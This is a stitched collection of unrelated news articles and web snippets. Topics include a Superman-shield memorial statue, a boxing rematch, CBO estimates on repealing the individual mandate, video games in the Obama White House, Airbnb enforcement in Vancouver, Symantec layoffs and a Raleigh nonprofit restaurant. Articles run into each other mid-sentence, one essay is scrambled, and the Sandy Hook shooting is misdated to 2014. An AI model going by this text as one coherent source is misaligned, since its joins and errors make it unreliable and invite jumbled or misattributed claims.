“We are honored by the relationship that our fans have with our characters, and fully understand the magnitude of their passion,” a company spokesperson said in a statement released this morning. “We take each request seriously and our heartfelt thoughts go out to the victims, the family and those affected. DC Entertainment uses a flexible set of criteria when we receive worthy requests such as this, and at times have reconsidered our initial stance. After verifying the support of appropriate family members, DC Entertainment will be allowing the Jeffrey Baldwin Memorial Statue to feature the Superman S Shield.” Misappropiration of the Superman shield is common, and so DC and Warner Bros. tend to be very protective of its use, but many fans argued that with no commercial use, allowing the statue to young Jeffrey Baldwin to done the iconic costume of the Man of Steel was a no-brainer.
Baldwin died more than ten years ago after his teenage parents were stripped of custody. He became a ward of his maternal grandparents, who were convicted of negligence and abuse. He was one of four children who were in the care of Elva Bottineau and Norman Kidman. Jeffrey and one of his sisters were locked in a dark room for 14 hours a day, deprived of food, verbally and mentally abused and left to live in their own waste. Jeffrey died November 30, 2002, of septic shock and starvation. Bottineau and Kidman were convicted in 2006 of second degree murder.(Photo credit: Esther Lin/Showtime) The first time these two fought in Brooklyn last December, a rough and rugged contest ended in a controversial draw. Bika, of Australia by way of Cameroon, held onto his title but the sanctioning organization mandated a rematch take place. It’s clear to anyone who’s paid attention during the build up to this rematch that Bika and Dirrell don’t like each other, as they jawed back and forth at the presser and weigh-in earlier this week. But how would all that animosity translate into the ring? It didn’t take long to find out.
The first round of this boxing match looked more like a wrestling match, as the fighters took turns slamming each other into canvas. Referee Jack Reiss tried to establish control of the fight early and told the fighters to knock out the rough stuff or he’d take a point. Dirrell, the quicker, slicker boxer, attempted to confuse his opponent by switching between the southpaw and orthodox stance.
Dirrell also tried to frustrate Bika with a lot of holding and was warned in the fourth round by Reiss for pulling down on the Aussie’s head. The crowd grew restless as the rounds progressed and a sloppy start developed into an ugly fight. Yet through all the awkward and rough stuff, and boos from the crowd, Dirrell seemed to remain poised and in control. By the middle rounds Bika started to show signs of fatigue and was rocked by a few punches. Things got a little wild in the eighth round as Bika was docked a point for a borderline low blow. Later in the round, Dirrell dove in while throwing a wild punch, basically jumping on Bika’s shoulder, and was consequently slammed to the canvas WWE style.
Into the later rounds, Dirrell continued to frustrate Bika and occasionally land hard shots, which visibly stunned his opponent and began to win over the crowd. The Flint Michigan native was coasting and at times it appeared that had he been willing to step on the gas a little, he may have got his opponent out of there. Bika never stopped trying, but he appeared off balance and missed some punches so badly that he nearly did a pirouette in the ring. In the twelfth round Bika knew he needed a knockout to win, but Dirrell was content to tie him up any time he got close. The final bell rang with both fighters in a clinch and the crowd booing. It had been one of those frustrating fights where there were times it appeared things were going to take off, but it just never happened.
The judges scored it 114-113, 116-111 and 117-110 for Dirrell; who did enough to win and take home a world title, but didn’t exactly set the world on fire. Bika landed 124 of 421 total punches (29%) while Dirrell landed 156 of 452 (35%). Dirrell landed more jabs than Bika (52 to 38), as well as power shots (104 to 86); his record improves to 27-0-1 (22KO) while Bika drops to 32-6-3 (21KO) and may be at the end of the road.
Questions, comments, hate mail? You know what to do.
Twitter.com/MonteroOnBoxing
Facebook.com/MonteroOnBoxingRepealing Obamacare’s individual mandate would lead to 13 million fewer Americans having health insurance and save the federal government $338 billion in the next 10 years.
The numbers come from a new report from the Congressional Budget Office, which re-scored the repeal as Republicans consider including it in their tax reform proposal as a means of saving money — and striking a blow to the health care law they’ve campaigned against but haven’t quite been able to undo. (President Trump is also reportedly considering an executive order that would defang the mandate.)
Four million more Americans would be uninsured in 2019, the first of the mandate’s repeal, with the uninsured figure increasing over the next decade to 13 million in 2027.
The mandate requires every American to have health insurance or pay a penalty. It’s the Affordable Care Act’s incentive for young and healthy people to buy insurance. Without it, healthier people would be expected to drop out of the market, which then increases insurance premiums. The CBO estimated premiums on the marketplaces would go up 10 percent if the mandate were repealed.
So the net effect of repealing the mandate is: fewer people insured, higher insurance premiums — but savings for the federal government.
The budget office had previously estimated that repealing the mandate would lead to 15 million fewer people having insurance and $416 billion in federal savings. These new numbers, which were updated to use a summer 2017 baseline for evaluating its repeal, represent a relatively modest change.
But they could mean a lot for the Republican tax reform dreams.
The new CBO numbers are a big deal for the GOP’s tax bill
The CBO’s revised estimate will have a dual effect on the Republican tax plan, if Congress decides to add the mandate’s repeal to their legislation.
First, repealing the mandate does save money because fewer people are projected to be enrolled in Medicaid and Obamacare’s insurance marketplaces. Those savings — $338 billion, under the new estimate — would be very useful to Republicans if they decided to add the mandate’s repeal to their tax plan.
Under the Senate’s “budget reconciliation” rules, the tax legislation can increase the federal deficit by $1.5 trillion over the next 10 years — and not a dollar more. The House tax bill currently hits that target exactly. It would be hard to make any further changes to the bill that reduce revenue or increase spending.
But by putting the mandate repeal in the tax bill, suddenly Congress would have another $340 billion to play with while tweaking their plan. They could cut rates for businesses and individuals even more, increase some tax deductions and tax credits, or otherwise spend more money in their bill in a way they can’t right now.
It’s a less little wiggle room than they had under the CBO previous estimate — $338 billion versus $416 billion — but the mandate would still provide hundreds of billions of dollars for the tax overhaul at a time when Republicans are struggling to find money.
However, Republicans would then open up their tax overhaul to accusations that it cuts health care coverage in order to cut taxes for the wealthy and corporations. Those attacks helped sink the GOP’s various Obamacare repeal plans in the Senate, where 50 of the 52 Republican senators must back the tax legislation under budget reconciliation.
The CBO has now provided a fresh attack line: A $1.5 trillion corporate tax cut is paid for by 13 million Americans losing health coverage.
Senate Republicans are already divided on this issue. Some, like Sens. Tom Cotton of Arkansas and Ted Cruz of Texas, want to do what Trump asks and repeal the mandate in the tax bill. But Sen. Lisa Murkowski (R-AK), who has already voted down three Obamacare repeal bills, told reporters this week that mixing health care with taxes “may be unnecessarily complicating things.”
The CBO’s mandate estimates have been controversial
The mandate — and the CBO’s estimates of its effects — has been a flashpoint over the past year. Republicans have accused the budget office of overstating exactly how much the mandate actually affects the insurance market.
“The CBO way overstates the power of Obamacare’s individual mandate to drive people to buy health insurance,” Avik Roy, one of the major proponents of the repeal bills that Congress considered earlier this year, told me back in May.
Sen. Bill Cassidy (R-LA), as he sought to build support for his Obamacare repeal plan with Sen. Lindsey Graham (R-SC) this fall, devoted the opening minutes of a briefing with reporters in September to dispelling the agency’s projections about the mandate.
Other conservatives have also urged the CBO to make its methodology about the mandate’s effects publicly available.
It’s a wonky, sometimes inscrutable debate, but an important one. The projected coverage losses for the various Obamacare repeal plans — upward of 20 million — are a big reason why those bills failed in the Senate. If Republicans decide to repeal the mandate in their tax bill, you’re assured of seeing the “XX million lose coverage” attack from Democrats now that the CBO has updated its estimates.
A more significant update could be coming. The CBO did meet in September to discuss revising its methods for estimating the mandate’s impact, I’m told. The agency said in its release Wednesday that it was in the process of reevaluating its model.
But these new numbers do not reflect any new methodology. They simply update the baseline for projecting the mandate’s effects.
So for now, these new CBO numbers are most important for the Republican tax overhaul — and could determine whether they try to add Obamacare repeal to the equation.Former President Barack Obama was the most video game-friendly president in U.S. history, a title that he may retain for awhile.
It was under Obama’s administration that the Supreme Court of the United States declared video games free and protected speech, afforded the same rights as a Mark Twain short story and a Jackson Pollock painting. It was during Obama’s administration that the federal government was given the opportunity to investigate any real link between violence and video games, but declined to. And it was under Obama’s White House roof that game developers gathered for the first ever White House game jam and an online stream of a video game competition.
One could argue that the times, not the president, were what made this last administration so accepting of video games. After all, in many of Obama’s speeches about fitness, education and children he used video games as the boogeyman. “Put down the video games and do something with your life,” seemed to be a common refrain from his early days as president. And the national zeitgeist has evolved in the past decade to more fully embrace video games, something a president might not want to ignore.
Could it have been, then, that Obama just happened to be at the right place at the right time?
“... this president is a huge geek... “
Not a chance, says Erik Martin, whose role as a video game policy advisor at the White House’s Office of Science and Technology Policy under Obama wrapped up last week.
“I think none of that would have happened without this president, because this president is a huge geek and put science in the right place from the start of his administration,” Martin said. “He put smart people from the sciences in key position with the authority to make decisions so topics like video games had a place at the table and a chance to be used in ways that could have a significant impact.”
Martin’s job while at the White House was essentially to be the gamer expert for the president and his administration, something that started, and perhaps will end, with Obama’s tenure.
Gaming got its foot in the door of the White House thanks to Tom Kalil, the deputy director for policy at the Office of Science and Technology Policy, Martin said. But it was seeing how Folding@Home, which uses the collective processing power of PlayStations and computers to research and better understand disease, that got him really excited about the potential.
That set the stage for the Kalil to bring in Constance Steinkuehler, a professor of education and game-based learning, as a policy advisor, the first in the White House to focus on leveraging video games to tackle issues like literacy, childhood obesity and STEM education. She returned to teaching and research in 2012, at which point Mark DeLoura took on the role, followed by Martin in 2015.
“Constance came in with a research background and did a ton of stuff around games and impact and what they could be used for,” DeLoura said. “When I came in, I brought an industry focus to broaden the reach and kept pushing on agencies, talking to agencies to get them to use video games to talk about science. Erik came on and added his own flavor of virtual reality, augmented reality and diversity.”
Between the three, they managed to bring video games into the White House and to help tackle problems with it in very real ways. That included the White House Game Jam, expanding STEM efforts and reaching out to gamers to explain Obamacare to them through a Twitch stream of competitive gaming.
While Martin and DeLoura agree that Obama’s unique view of technology was a key factor in the administrations use and acceptance of video games, it was helped along by some significant events.
In 2011, the Supreme Court of the United States ruled that video games are protected speech.
“... that was like the bomb going off...”
“For me, that was like the bomb going off,” DeLoura said. “We had been working for that for 20 x years. Finally, we got the Supreme Court to say, ‘Yes, First Amendment Rights. Yes, video games.’ Mic drop. That was huge, huge, huge.
“For me that was the end of the conversation of whether video games should be afforded the same rights as other artistic creations.”
And then a year later, DeLoura found himself pulled into a national conversation of a different sort.
The Sandy Hook Elementary School shooting in December 2014, reignited the debate around video games and violence after the president of the NRA blamed video games, in part, for the shooting.
DeLoura was just getting ready to start his role at the White House and Steinkuehler had technically already left when then Vice President Joe Biden requested a briefing on the topic. DeLoura said he and Steinkuehler worked together to brief Biden and reach out to video game industry leaders for a meeting with him.
The outcome, DeLoura said, was a cordial meeting which Biden attended with an obviously open mind.
“He was not blaming, he was interested in learning,” DeLoura said.
The outcome was a call for federally funded research into any link between video games and violence by the Centers for Disease Control. But the funding was never approved.
Martin’s time at the White House has been a little more sedate, though last week when he left, there was no one there to take his place.
“Part of the natural transition process means that a lot of people in those offices have left already,” he said.
That includes John Holdren, director for the Office of Science and Technology and Policy, under whose guidance the office and video games flourished. A new science advisor has not yet been appointed, something that could be a sign of its importance in the eyes of the Trump administration.
DeLoura said that the office tends to ebb and flow in size depending on who is in office and which party they are affiliated with.
Martin isn’t quite as philosophical about the future.
President Obama “recognized that technology matters and could be used to change the world,” Martin said. “He was never shy about asking if we could use this stuff for good.
“We may one day have a more video game embodied president in the future, but I don’t know if it will be anytime soon that we have one that is as tech forward as was this president of the United States.”
Good Game is an internationally syndicated weekly news and opinion column about the big stories of the week in the gaming industry and its bigger impact on things to come. Brian Crecente is a founding editor and executive editor of Polygon.Nearly 200,000 people in California’s Central Valley were evacuated this week—and later allowed to return—after officials said they were concerned that a spillway connected to the Oroville Dam might collapse.
The dam, located some 70 miles north of Sacramento, is the tallest in the U.S., It stands 770 feet, which beats Nevada’s Hoover Dam by 44 feet. Should the dam fail, a massive, lethal wave of water would be unleashed on several towns to the south, the largest of which, Yuba City, is home to over 65,000 people.
So when residents were ordered to evacuate on Sunday, many left in haste, including some, in Sutter County, California* who left behind a few of their pets, according to the San Francisco Chronicle. And not just any pets: an albino kangaroo, a red kangaroo, and a muntjac, a type of small deer—named Kenzie, Dottie, and Mary, respectively.
The animals were found safe—if perhaps a little traumatized—by the California Highway Patrol, officials said Tuesday, and, for now, are staying with a California family that has cared for abandoned animals in the past. The animals’ owners were not named, but, hopefully, they’ll be reunited soon. Their temporary caretakers said that Kenzie, in particular, was used to sleeping in bed with her owner.
*CORRECTION: This post previously misstated the county where the animals were found. It is Sutter County, California, not Sutton County.I thought I was a feminist, but I only understood feminism in the most cursory way.
Then I was exposed to proper feminist theory for the first time—and suddenly I started REALLY LIKING being a woman, and other women, and all things feminine, in a way I had never liked any of those things before. It made me voraciously desirous of feminine things, many of which I'd always liked, deep down, but had rejected, shoving my affections to dark vaults at the bottom of my psychological sea. There they could be forgotten, or at least denied.
But feminism gave me permission to love the feminine, which I'd never had before. And I wanted to wear pink—not ironically—and to be pretty.
I lived on—and my perspective on the world changed, and I changed, and my feminism changed. Some of the expressions of traditional femininity I had embraced started to seem problematic to me. I didn't exactly ricochet back in the other direction, but I certainly felt less disposed toward, less fond of, certain expressions of femininity. Some of them felt, when on my body, on my skin, in my mouth, in my thoughts, like an artifice behind which I was hiding.
I lived on. Change. Etc. My life is not static. My thinking is not static. I interact with new people who introduce me to new ideas all the time. I am influenced by the world around me, which itself changes in ways that affect my thinking. I am influenced by the parts of myself that continue to emerge, and sometimes surprise me.
There has not been any point at which my personal feminism is/was "right" with regard to my expressions and/or rejections of femininity, according to every other feminist on the planet. It is a moving target, even for me, finding some balance between my feminism and my femininity.
All I have learned is not to judge, not to audit—because I have no idea where any other feminist is on her journey. I don't even know where I am on my own.
I don't want to be the police, and I don't want to be policed. What I want is the presumption I'm fumblefucking my way through this thing in good faith, that I don't want to make life any harder for any other person during my time on this rock.
What I want is the freedom to fuck up, and the right to be wrong.
This started out as a comment on Kate's post, but it got really long, so…One of the real problems with feminist policing of expressions of traditional femininity (among many problems, which also include looking suspiciously like a thingy that polices from the other direction), is that it effectively ignores the reality that many feminist women (almost like real humans! wheeeeee!) tend to go through stages where they have different personal relationships with the accouterments of traditional femininity as they move through life accumulating experience and knowledge, and their feminist philosophy changes, deepens, broadens.Many years ago, I rejected certain expressions of traditional femininity because I was a misogynist, raised in a misogynist culture to hate women (including myself). I was socialized to have axiomatic contempt for the feminine and all its associations with weakness and frivolity and beingI was born into a world in which, given my particular set of personal circumstances and privileges, I wasthat I was equal to men from the day I was born—and it was a real shock to me to find out that not everyone agreed. In theory, I was equal. In practice, I was decidedly not.And the way I first learned to navigate that ego-rattling disparity was to assert myself as an Exceptional Woman. Not like thosewomen. Certainly not like those. I wasn't like. I laughed at dirty jokes and didn't take three hours to get ready and liked baseball. I was practically one of the boys.Ugh. Embarrassing stuff.Panax quinquefolius or ginseng is often claimed to have adaptogenic effects. or ginseng is often claimed to have adaptogenic effects.
Adaptogens or adaptogenic substances[1] are used in herbal medicine for the claimed stabilization of physiological processes and promotion of homeostasis.[2] The European Medicines Agency stated in a 2008 reflection paper that the concept requires additional clinical and preclinical research, and is therefore not accepted into current terminology.[3]
The concept of adaptogens was originally created in 1947 to describe a substance that may increase resistance to stress.[3] Adaptogenesis was later applied in the former Soviet Union to describe remedies thought to increase the resistance of organisms to biological stress.[2] Another definition for an herb to be considered an adaptogen requires that it must be nontoxic, nonspecific, and thought to affect physiology of the organism.
Most of the studies conducted on adaptogens were performed in the Soviet Union, Korea, and China before the 1980s, and have been partially dismissed for various methodological flaws.[3] The term is currently not accepted in pharmacological, physiological, or mainstream clinical practices in the European Union as it requires further studies and more data.[3] In the United States, the Food and Drug Administration issued a warning in 2013 to a Washington-based company for illegal advertising and false health claims concerning use of the word "adaptogen" for one of its products.[4]CTV Vancouver
Newly obtained documents suggest that the City of Vancouver did very little to block Airbnb listings in condos and townhomes last year.
Documents obtained under the Freedom of Information Act showed city officials only conducted three on-site visits between January and November. The city also sent out just 10 letters to residences they expected were being illegally rented through sites like Airbnb.
Dozens of complaints were filed about short-term rentals last year, many of which were made by neighbours of rented units who were concerned about noise, security and loss of community.
But few tips were followed up on, documents show, despite officials knowing there is a severe lack of long-term rental stock available in the city.
The city has said that staff members are looking for ways to boost the vacancy rate, including regulations for short-term rental sites. A staff report released in the fall suggested several options, including one that would require hosts to have a business licence and pay a hotel tax.
Under that plan, Mayor Gregor Robertson said short-term listings would be illegal in homes that aren't principal residences, boats or trailers, so those looking for long-term housing would still have access to unoccupied apartments and homes.
At the time, the city said there were approximately 5,300 active short-term rental listings in Vancouver. A report that includes stakeholder consultations and staff recommendations is expected to be presented in front of council early this year.
In addition to the pending regulations, staff recently approved a new tax on homes that are unoccupied by owners or long-term renters.
The empty homes tax was approved in November, at a time when the vacancy rate was estimated to be at a record low of 0.6 per cent. The city said approximately 10,800 homes are empty year-round, and roughly 10,000 more are under-occupied.
Earlier this week, the City of Richmond voted unanimously to ban all short-term rentals other than hotels, motels and licensed bed and breakfasts.Our favorite racing series just got a bit of competition, and it comes in a surprising form. We're not saying this will take the place of the 24 Hours of LeMons, but it's certainly captured our attention. Called the Power Wheel Racing Series, this form of electrified motorsports pits racers against each other as they pilot uprated kids toys around a track.To put it rather simply: this is awesome, and we want in.The series needs a bit of help, however, to go from a singular event into a full-blown season for 2012. The minds behind the mayhem have turned to Kickstarter, and they are accepting your cash in exchange for a differing level of gratitude based upon how much you're willing to plunk down.If you need some convincing, click past the jump to learn more about the series. After that, head over to Kickstarter and show this fledgling race series some loveAnna Kendrick has been in six movies in 2016. She sings eight songs on the soundtrack to the movie Trolls, which she also voice-stars in. She just released her first book, a memoir called Scrappy Little Nobody. Anna Kendrick is the song you haven’t been able to get out of your head for the past nine months. Her name is the first thing in your brain in the morning and the last thing you think at night. When it’s the first of the month, instead of waking up and saying “bullfrog,” say Anna Kendrick. She’s an inescapable force.
According to the J-Law principle — which holds that the more overexposed you become, the less “relatable” you seem — Kendrick should be in the full backlash phase by now. But somehow, Kendrick is still among the small group of constantly likable celebrities — see also: the Rock and his spiritual son, Zac Efron; Chance the Rapper; and Martha Stewart — in 2016. How does she do it? How does she manage to be everywhere, all the time, and still manage to get an “Anna Kendrick? Yeah I like her, sure!” award? Some early theories: Her hair is clean, and so are her nails. She seems polite; her movies are nice to watch on cable. She has a nose that says, “I’m relatable, but I’m also sort of bitchy.” But Scrappy Little Nobody holds the real keys; it’s an unvarnished look at what it takes to write several hundred pages about yourself and still not be hated. Here are the 12 key steps to cracking the 2016 celebrity likability code, as discovered by Anna Kendrick. Read on.Cablevision pledged to contribute $1,000 to the search for Paine's remains. C-Span rolled out its mustard-colored bus promoting its series on American writers, which includes a segment on Paine to be broadcast live from here on Monday. The Huguenots marching band of New Rochelle High School, resplendent in purple and white, played Earth, Wind and Fire and Louis Prima. And for the next few days, New Rochelle's schools and library have scheduled a series of forums, performances and exhibits related to Paine and his controversial opposition to slavery, Federalism and organized religion.
''I think this kind of national attention will really bring the focus back to the important things in life,'' said Mayor Timothy C. Idoni of New Rochelle, noting that despite Paine's fame, many people still associate New Rochelle as the setting of the fictional television characters Rob and Laura Petrie on ''The Dick Van Dyke Show.''
But long after the educational programs have concluded and the television trucks have left, the quest to solve the mystery of whatever happened to Paine's body will continue.
According to historians, Paine's body was exhumed in 1819 by William Cobbett, a onetime Paine foe who later became an admirer. Cobbett felt that Paine was not being given his posthumous due, so he decided that England, where Paine spent the first 37 years of his life, was a more appropriate burial site.
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The trouble was, hardly anyone else cared. So Paine's remains were kept in a trunk in Cobbett's attic.
When Cobbett died in 1835, his son was apparently unsuccessful in auctioning off the bones, and may have buried them in the family plot, said Mr. McCartin. Or maybe he didn't: in the 1850's, a Unitarian minister in England said that he had Paine's skull and right hand, and in the 1930's, a woman in Brighton insisted that she had Paine's jawbone.
In 1987, a Sydney businessmen claimed that he had purchased Paine's skull while on vacation in London. He sold it to an Australian named John Burgess, who claimed that he was a descendant of an illegitimate child of Paine's. And now, Mr. Burgess's wife is trying to raise the $60,000 needed to pay for DNA testing, said |
woolly hat on for her disguise, claimed she was hiding her body because she had a tumour and embarrassing muscle wastage, and explained away her high-pitched voice by saying she was half-Filipino and half-Asian.
It was alleged that she was caught out when her partner ripped off her mask to see the woman standing over her using the sex toy.
But Newland told the jury: “She knew from the get go, from the beginning that Kye was a girl.
“My main reason why I spoke as Kye was for her.
“I knew better than anyone...if she wanted to hide her sexuality I would allow her to do that.
“The second reason was I had spoken as Kye since I was 13.
“I was not confident enough to come out and say I was a lesbian.”
Newland said the first meeting with the woman and Kye happened on Valentine’s Day 2013.
But she said it was the woman who pushed to become more intimate and buy the sex toy.
She said: “She had always talked about having sex and stuff and it was not something I was ready for.
“She told me to look online and there are things you can buy.
“It sounds silly but she told me to get it.”Unbelievable is a song written and recorded by British band EMF, originally appearing on their debut album Schubert Dip. It was released as a single in the UK in 1990, peaking in the UK Singles Chart at number three on 1 December 1990. It was the 32nd-best-selling single of 1990 in the UK. In the United States, it hit number one on the Billboard Hot 100 in 1991.[1]
Content of the song [ edit ]
The song contains samples of US comedian Andrew Dice Clay throughout the track, including the loud exclamation of "oh!" at the start of each chorus along with the words "it's unbelievable" spoken during the bridge.[2] The track was produced by Ralph Jezzard.
In the UK (where the band hailed from), the B-side of the single was a track called "EMF" which included the refrain: "E! Ecstasy! M! Motherfucker, motherfucker! F! From us to you...."[citation needed]
"Unbelievable" also samples the word "One" that comes in the refrain "Ya Kid K is the one", from the song "Spin That Wheel" by Eurodance act Hi-Tek 3 featuring Ya Kid K. Hi-Tek 3 is a side project from the successful dance act Technotronic.[citation needed]
Records [ edit ]
The song's opening and chorus features a sample of a Black Panther Party member shouting "What the fuck?",[3] which appears in the lyrics in the CD booklet, and was never edited. The song has been used unedited in pre-watershed television adverts.[citation needed]
The song was ranked no. 31 on VH1's 100 Greatest One-Hit Wonders in 2002 and no. 98 on VH1's 100 Greatest Songs of the 90s in 2007.[4] Rolling Stone listed "Unbelievable" at number 12 in their "20 Biggest Songs of the Summer: The 1990s" list in July 2014.[5]
Reception [ edit ]
Billboard wrote about the song: "U.K. act has already stormed European charts with this insinuating, Manchester-influenced rave. Scratchy, neopsychedelic guitar riffs nicely contrast track's hip-hop groove, promising extensive exposure here at both club and radio levels."[6]
Formats and track listings [ edit ]
UK CD (CDR 6273)
"Unbelievable" – 3:30 "Unbelievable (The Cin City Sex Mix)" – 5:14 "EMF (live at The Bilson)" – 3:53
UK 7" (R 6273)
"Unbelievable" – 3:30 "EMF (live at The Bilson)" – 3:53
US CD (E2-56210)
"Unbelievable (single version)" – 3:30 "Unbelievable (Cin City Sex Mix)" – 5:14 "Unbelievable (Boot Lane Mix)" – 6:20 "Unbelievable (House Mix)" – 4:26 "Unbelievable (Hip Hop Mix)" – 4:10 "EMF (live at The Bilson)" – 3:53
Charts and sales [ edit ]
See also [ edit ]Symantec Cutting up to 1,700 Jobs as Early as Today
Security software company Symantec may lay off as many as 1,700 employees as early as today, sources familiar with the company’s plans tell AllThingsD.
The cuts are part of a company-wide reorganization first announced in January as part of a turnaround plan instituted by Steve Bennett, Symantec’s new CEO, who joined the company 11 months ago.
Bennett, a former CEO at Intuit and a veteran of General Electric, told Reuters in a January interview that the company has too many management layers and would be streamlined into 10 business units.
Ellen Hayes, a Symantech spokeswoman, sent the following statement:
“Symantec is in the midst of a company-wide transformation. As part of this effort, we are engaged in a company-wide reorganization. As a result, some positions are being eliminated. This action is a reflection of our new strategy and organizational simplification initiative announced by Symantec’s executives on Jan. 23rd, 2013. One of the goals of Symantec’s reorganizational effort is to make the company’s employee reporting structure more efficient and support the company strategy moving forward. There are several stages to the reorganization process, as we define executive and management layers down to all levels of employees. Some notifications are happening this month, as part of this the process. We are communicating with employees directly and do not have more information to share at this time.”
The company said in its 10-K annual report, filed with the U.S. Securities and Exchange Commission on May 17, that it plans to take charges related to its reorganization plans amounting to between $220 million and $250 million. Those cuts are to be completed by the end of the company’s 2014 fiscal year, which began March 30. But, as of the end of March, it had taken only $10 million worth of those charges, meaning the biggest reduction in force is yet to come.
People familiar with the company’s operations say job cuts have been under way for several months, but only a relatively small number of people have have been let go so far. One source close to the company said the next round of cuts was to be “the biggest yet.” Some employees had already been told their positions were being eliminated this week.
The cuts are to be carried out in two phases. About 1,000 positions would be eliminated this month, and some affected employees had already been notified as early as Wednesday. Another 700 positions are to be eliminated in July. The combined cuts would amount to about eight percent of Symantec’s 21,500 employees worldwide.
Earlier this year, Bennett complained that most Symantec managers had on average only five people reporting to them. As such, the job cuts are expected to hit the company’s middle-management ranks especially hard. Bennett said in a May 7 conference call with analysts that Symantec would eliminate between 30 percent and 40 percent of its management positions. “We will have fewer, bigger jobs for our best and brightest,” he said at the time. He also said those cuts would be completed by the end of July.
Symantec reported $6.9 billion in sales for the fiscal year ended in March. Its biggest line of business is its storage and server management segment, which accounted for $2.5 billion, or about 36 percent of sales. It is best known for its consumer-facing security software business, which accounted for $2.1 billion in sales. Sales for fiscal 2013 rose by less than three percent year on year while net income rose four percent. Its shares have risen by more than 18 percent this year.
Update: Shareholders are reacting to the news of the layoffs with a nod of approval. As of 12:05 PM Pacific Time, Symantec shares are up by 27 cents or more than one percent to $22.44.You must enter the characters with black color that stand out from the other characters
Message: * A friend wanted you to see this item from WRAL.com: http://wr.al/15MGZ
— Carroll's Kitchen, a nonprofit restaurant dedicated to ending homelessness for women in Raleigh, holds its grand opening Wednesday.
The restaurant, which is open for breakfast and lunch Monday through Friday from 7:30 a.m. to 2:30 p.m., is located on the busy corner of Martin and Wilmington streets.
"We are about fast, efficient, delicious and interesting food," said Executive Director Jim Freeze. "And the cherry on top is that you are supporting a great cause."
Freeze said the new restaurant is patterned after similar nonprofits in other cities, including King’s Kitchen in Charlotte.
"Coming out of a hard time, employment is one major way to break the cycle," Freeze said. "We want the women to use it as a platform to build on and grow."
The restaurant currently has five employees, although Freeze said he would like to hire at least one more. The women are referred to Carroll's through a program with a partner organization. Once hired, each woman is trained in the restaurant while learning employable skills and gaining self-confidence. Each woman also learns life skills, such as time management and budgeting.
Violet, who was hired at Carroll's through the program, said she is thrilled to work at the restaurant. She is also a big fan of the food.
"So far, there is not one thing on the menu that I wouldn't eat," she said. "There are some healthy salads and some great sandwiches...it's a good mixture."
The other ladies highly recommend the ham and cheese sandwich.
"We make all of the sauces ourselves, and each sandwich is filled with 4 oz. of meat," Violet said. "We cook and slice the meat fresh every day."
Another employee favorite is the vegan Carroll’s Collard Wrap - collard green (the size of two hands!) filled with house-made hummus, vegan feta, roasted vegetables, romaine lettuce and tomatoes. And kolaches are on the menu! The Polish pastries are popular in Texas, but are hard to come by in Raleigh.
The grab-n-go style restaurant features a menu full of fresh soups, salads and sandwiches. Local veggies from Raleigh City Farm, bread from Yellow dog Bread Company and coffee from Raleigh Coffee Company are staples on the menu.
"Someone looking for a quick breakfast in the morning could be in and out of here in under a minute," Freeze said.
But Freeze said none of it would be possible without the support of the Raleigh community.
"Our customers are everything," he said.
That concept is what prompted Carroll's to have what is a called a community card. Customers can donate to the card, and if a person in need comes in looking for a meal, they can use the card.
"We never want to turn away a customer. We tell that person, 'Your meal is on the community today,'" Freeze said.
Anyone looking to donate or get involved with Carroll's Kitchen is asked to visit their website.Lay off her hair.
Portland-based creative Momo Pixel has created a game called Hair Nah, in response to women constantly touching her hair.
In the game, you play a black woman who's on her way to catch a flight. What's stopping her from boarding? People incessantly touching her hair.
The purpose of the 8-bit game is pretty simple. Swat as many hands off as they make their way towards your head.
Players also get to customise their hairstyle and skin tone.
Image: hair nah/screenshot
Once you get to the end of the game, you're rewarded with this piece of wisdom:
Image: HAIR NAH/SCREENSHOT
According to Momo, who tweets as @MomoUhOh, she designed, wrote, art directed and sang the music for the game.
Many users on Twitter were quick to share their personal experiences of people touching their hair.
I LOVE THIS SO MUCH. 👏🏿 👏🏿 👏🏿 It's like something out of a nightmare but it's real life. Hair Nah. A new travel game about a black woman tired of people touching her hair. https://t.co/Vmu243wRk2 #hairnah — Eunice (@ewnndungu) November 16, 2017
Yo this game is fire, bc it highlights social issues in a real way (shouts out to those background comments that are a lil too real) AND I got to finally go to Havana, even if it was only pretend https://t.co/omo9pfWTlt #hairnah — Jordan Kira (@jordankira) November 15, 2017
Lol I can so relate. There must be something magical about afro ponies b/c every single white woman at my job tried to touch it. Words were said, and I don't regret it. Great job! 👏🏾👏🏾👏🏾 — Qwassie (@Qwassie) November 16, 2017
My earliest memory was when I was 2yrs old and my sisters friends were "petting" my hair. I relate to this so much! 🙌🏿🙌🏿🙌🏿 — Jarryd Huntley 🔜✈️ Austin (@JarrydHuntley) November 15, 2017
My girlfriend of 5 years is half black with ✨amazing✨hair and the sheer AUDACITY of the old white women who touch her hair disturbs me. Like, WALKS UP FROM BEHIND NO WARNING audacity. Gives me chills. — Kelsomatic (@Kelsomatic) November 16, 2017
"Can I touch it?"
"Is it attached to your head?"
"So fluffy!"
😭
https://t.co/CvPPl0auiG #hairnah
The black woman on the plane took me out pic.twitter.com/kNE1UbwO3f — Tatiana King Jones (@TatianaKing) November 16, 2017
It's not uncommon to hear women of colour talk about strangers who touch their natural hair without their consent.
Momo, who is an art director at agency Wieden+Kennedy, explained that she had numerous experiences of people touching her hair without permission.
"A coworker I just met is holding my hair in his hand."
"I’ll be walking, and a woman will reach her hands into my head. I’m talking to a teammate, and a coworker I just met is holding my hair in his hand," she said in an article on On She Goes.
"The moment someone mentions my hair, I grab it to claim ownership."
Momo adds that the main purpose of the game is to get people to realise their actions could be seen as offensive.
"Who I’m really hoping to get are those women and men who may not really be paying attention to their actions or don’t see them as offensive," she says. "I hope they see themselves in this game and be like, 'Oh my God.' And then from there stop doing it."
CLARIFICATION: Nov. 17, 2017, 10:25 a.m. SGT The comments from Momo Pixel were previously attributed to another Wieden+Kennedy staffer. This has been amended.Two boatloads of asylum seekers are believed to be aboard Australian vessels off Christmas Island but the government has refused to confirm their existence or comment on whether they will be allowed to set foot in Australia.
By Sunday evening it had been more than 24 hours since any civilian communication with a former fishing trawler carrying 153 Tamil asylum seekers, including 37 children, that left the southern Indian city of Pondicherry 16 days ago.
No comment on boat arrivals: Immigration Minister Scott Morrison. Credit:Alex Ellinghausen
Refugee advocates believe they have been intercepted by the navy and transferred to the customs vessel Ocean Protector, which is equipped to hold 250 people.
A second boat that left Indonesia is also believed to have been stopped off Christmas Island by the customs ship Triton.1. Use the correct title formatting. The title formatting is outlined above. Make sure to follow it or else your post will be removed. Do not add any extraneous information or be subjective in your title. Plagiarism is grounds for a permaban.
